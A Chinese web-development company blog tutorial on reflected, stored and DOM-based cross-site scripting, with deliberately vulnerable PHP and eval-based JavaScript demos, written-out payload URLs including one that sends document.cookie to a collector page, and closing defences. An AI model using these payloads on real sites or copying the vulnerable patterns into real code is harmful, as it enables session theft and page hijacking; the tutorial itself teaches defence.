网站中的XSS跨站脚本攻击

时间:2019-10-17 11:00 阅读: 作者:互零网络

本文主要内容有两点:

1. xss常见的有三种攻击方式:反射型、存储型、DOM型。

2. xss攻击的危害性和防御措施

反射型

非持久型。发生请求时,xss代码作为参数提交到server,server解析并返回结果,response中包含了用户传入的参数(含有xss代码),浏览器解析此response并渲染到页面上,就中招啦。
例:
http://127.0.0.1:8080/index.php?visitor=balbala
若server读取get参数,将页面重定向到index-2.php,并将visitor参数的值直接显示在页面上。攻击者可以捣乱、流量劫持、可以偷取用户cookie发送到xss-home.php地址、可以在页面放广告,三个文件示例代码如下:

index.php
<?php
    session_start();
    $_SESSION['xss']['visitor'] = $_GET['visitor'];
    header("Location:http://127.0.0.1:8080/index-2.php");
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>初始页</title>
</head>
<body>
    初始页
</body>
</html>
index-2.php
<?php
session_start();
$visitor = $_SESSION['xss']['visitor'];
function showVisitor() {
    echo $_SESSION['xss']['visitor'];
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>show visitor</title>
</head>
<body>
    用户是:
    <?php
        showVisitor();
    ?>
</body>
</html>
xss-home.php
<?php
$h = fopen('./info.log', 'a');
fwrite($h, json_encode($_GET));
fclose($h);
?>
  • 地址栏输入如下地址,则本地cookie被alert出来(将alert改成 window.open('xxxx.com')把用户导到另一个网站,就是流量劫持了):
http://127.0.0.1:8080/index.php?visitor=<script type="text/javascript">alert(document.cookie);</script>
  • 地址栏输入如下地址则本地cookie被静默发送到攻击者目标网址http://127.0.0.1:8080/xss-home.php,用户本地的鉴权参数被攻击者获取到了。(本测试例子在firefox中测试可以获取到用户cookie,在chrome中被浏览器拦截了没有获取到,chrome的告警如下图。应该与浏览器的安全设置有关,没有细究)
http://127.0.0.1:8080/index.php?visitor=<script type="text/javascript">var metaEl = document.createElement('script');metaEl.setAttribute('src','http://127.0.0.1:8080/xss-home.php?'+document.cookie);if(document.documentElement.firstElementChild){document.documentElement.firstElementChild.appendChild(metaEl);}else{var wrap = document.createElement('div');wrap.appendChild(metaEl);document.write(wrap.innerHTML);}</script>
  • 页面右上角放狗粮广告啦(这段可以直接把放图片的代码写成一个js文件,url后的js内容 改为插入一个script标签,地址为js文件的地址)
http://127.0.0.1:8080/index.php?visitor=<script type="text/javascript">var metaEl = document.createElement('img');metaEl.setAttribute('src','https://upload-images.jianshu.io/upload_images/12190143-c431f037468e0460.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240');metaEl.setAttribute('style','height:200px; width:100px; position:fixed; right:30px;top:30px;');var wrap = document.getElementsByTagName('body')[0];wrap.appendChild(metaEl);</script>
 

存储型(持久型)

如用户评论、用户反馈等,被后台存储到数据库,未经任何处理展示到前端页面。攻击脚本与反射型类似,可以偷取到其他用户的信息甚至后台管理员的信息。
(此处很多人说需要经过html实体编码再存入数据库,我认为存入过程只需考虑防注入,web展示时对用户来源的内容进行html实体编码再展示。这样可以兼容不同的信息来源,如app客户端也可以提交内容,app客户端的展示也需有其自己的防范处理)

Dom型

与以上两种类型都不同,不需要server端的参与,都在client端。利用页面js代码的漏洞。如js中使用了eval
例:以下测试代码呈现的html页面,若在输入框中输入dd");console.log(document.cookie);console.log(",就会打印页面的cookie。

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
</head>
<body>
    <input type="text" name="your_name">
    <button>点点点</button>
</body>
<script type="text/javascript">
    var btn = document.getElementsByTagName('button')[0];
    var inputElem = document.getElementsByName('your_name')[0];
    btn.addEventListener('click', function() {
    var evalStr = 'alert("你的名字是:'+inputElem.value+'");';
    window.eval(evalStr);
    });
</script>
</html>

xss的危害

  1. 盗取用户的cookie;
  2. 扰乱页面 、破坏页面样式等;
  3. 流量劫持;
    4. Dos攻击(分布式拒绝服务攻击):利用合理的客户端请求来占用过多的服务器资源,使合法用户无法得到服务器响应
    5. 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些东西(加关注、发私信、加收藏等);
    6. 利用可被攻击的域受其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行投票活动

防御措施

  1. cookie设置HttpOnly属性为true,即只有后台可以操作cookie,client不能操作也不能读取;
    2.过滤用户输入的数据,
  2. 对需要呈现到页面上的用户来源的内容进行html实体编码后再渲染

转载请注明文章链接:https://www.hu-ling.cn/sjwzjs/330.html如没特殊声明,文章为互零网络原创!

<<返回列表